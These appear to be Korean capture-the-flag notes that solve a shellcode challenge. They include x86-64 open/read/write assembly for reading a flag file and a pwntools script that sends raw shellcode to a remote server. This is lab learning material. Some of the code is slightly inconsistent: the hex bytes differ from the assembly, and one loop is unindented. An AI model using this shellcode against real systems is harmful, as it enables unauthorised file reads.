


- 0x1000만큼 shellcode 를 실행시킨다
# convert.py
from pwn import *
data = "/home/shell_basic/flag_name_is_loooooong"
str1 = []
for i in range(0, len(data), 8):
print(hex(u64(data[i:i+8])))
open, read, write 어셈블리어 작성
syscall을 사용

;exploit.asm
section .text
global _start
_start :
push 0x0 ; 널(문자열의 끝)
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
;open
mov rdi, rsp ; 스택의 최상단 주소
xor rsi, rsi ; rsi = 0 : O_RDONLY 읽기만
xor rdx, rdx ; rdx = 0 : 의미 없음
mov rax, 0x2 ; syscall open
syscall
;read
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; 0x30만큼 버퍼 생성
mov rdx, 0x30 ; 길이
mov rax, 0x0 ; syscall read
syscall
;write
mov rdi, 0x1 ; stdout
mov rax, 0x1 ; syscall write
syscall
;exite
xor rdi, rdi ; 에러코드 0
mov rax, 0x3c ; syscall exit
syscall
파일 변환
서버에 코드 보내기

#exploit.py
from pwn import *
p = remote("서버 정보")
shellcode = b"\x48\x31\xf6\x48\x31\xd2\x56\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x50\xba\x50\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05"
p.sendafter("shellcode: ", shellcode)
print(p.recv()) 